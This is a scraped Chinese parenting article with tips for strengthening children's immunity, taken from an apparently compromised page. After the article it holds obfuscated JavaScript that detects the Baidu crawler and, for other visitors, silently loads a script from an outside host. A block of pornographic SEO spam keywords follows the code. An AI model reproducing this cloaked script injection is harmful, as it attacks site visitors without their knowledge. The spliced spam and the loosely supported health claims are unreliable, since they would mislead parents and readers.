當前位置:首頁 > 母嬰 > 育兒知識 > 正文

如何提高小孩抵抗力

2017-04-04 16:50:56  來源:360常識網(wǎng)   熱度:
導語:相信大家肯定都知道抵抗力對于小孩的重要性吧,小孩子如果抵抗力低下的話容易出現(xiàn)這樣那樣的一些疾病,所以家長一定要想辦法來提高小孩的抵

相信大家肯定都知道抵抗力對于小孩的重要性吧,小孩子如果抵抗力低下的話容易出現(xiàn)這樣那樣的一些疾病,所以家長一定要想辦法來提高小孩的抵抗力,想要提高小孩的抵抗力我們必須注意生活中的很多細節(jié),不但要減少小孩的壓力而且也要讓小孩少吃一些含糖的食物,下文我們介紹一下提高小孩抵抗力的方法。

隨著年齡的增長,寶寶自身的免疫系統(tǒng)逐漸發(fā)育成熟,抗體的產(chǎn)生能力也逐漸增加,通常,孩子在3歲以后,機體抗病能力較3歲前會有明顯的提高。但初入幼兒園,生活的環(huán)境發(fā)生了變化,接觸的人群也相應加大,對于更多更廣泛的病菌,寶寶身體還沒有建立起相應的免疫機制,因此這段時期的寶寶也會比較脆弱,很容易生病。

減少壓力

已有研究指出,承受壓力愈大愈容易感冒。教導孩子放松的技巧,適當安排活動,別讓壓力壓垮孩子的免疫力。

少吃含糖食物

糖會降低白細胞的活力,削弱它們對細菌的反應能力。

多和其他孩子接觸

根據(jù)2000年發(fā)表在《新英格蘭醫(yī)學期刊》的研究,13歲以下的孩子如果幼小時即和較年長的手足或托育機構(gòu)里的小朋友相處,日后罹患氣喘的幾率減少一半。此外,通過接觸其他孩子,暴露在感染原下,可以刺激孩子的免疫反應,增強他的免疫系統(tǒng),降低對過敏原起反應而引發(fā)氣喘的機會。

天涼慢添衣服

耐寒鍛煉是提高寶寶對寒冷反應靈敏度的最有方法。沒有經(jīng)過寒冷鍛煉的寶寶,反而更容易感冒。一般來說孩子比大人多穿一件單衣就可以了。

在上面的文章里面我們介紹了抵抗力對于小孩的重要性,我們建議家長一旦發(fā)現(xiàn)小孩的抵抗力比較低,要及時采用方法來提高小孩的抵抗力,上文我們?yōu)榇蠹以敿毥榻B了提高小孩抵抗力的幾種方法。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
精品人妻一区二区三区四区| 日本精品久久久久久福利| 欧洲熟妇精品视频| 九色国产在视频线精品视频| 国产精品高清m3u8在线播放| 久热爱精品视频在线| 国产精品三级在线| 久久久久久精品免费看SSS| 久久这里只有精品18| 久久国产精品范冰啊| 久久精品.com| 久久99视频精品| 日韩人妻无码精品一专区| 日韩精品亚洲人成在线观看| 久久这里只精品热免费99| 久久久久亚洲精品影视| 久久久影院亚洲精品| 久久777国产线看观看精品卜| 国产综合色在线精品| 久久夜色精品国产亚洲| 久久国产精品久久久| 久热中文字幕在线精品首页| 无码人妻精品一区二区三区99仓本| 久久精品视频久久| 久9热免费精品视频在线观看| 久久99精品视香蕉蕉| 日韩精品久久无码人妻中文字幕 | 人妻精品久久无码区洗澡| 亚洲精品综合在线影院| 中文字幕精品一区二区2021年| 国产精品lululu在线观看| 国内精品视频一区二区三区 | 国产精品亚洲A∨天堂不卡| 国内揄拍高清国内精品对白| 亚洲国产精品特色大片观看完整版| 亚洲国产另类久久久精品| 91精品免费观看| 亚洲综合久久精品无码色欲| 欧洲精品免费一区二区三区| 网友偷拍日韩精品| 97久久国产露脸精品国产|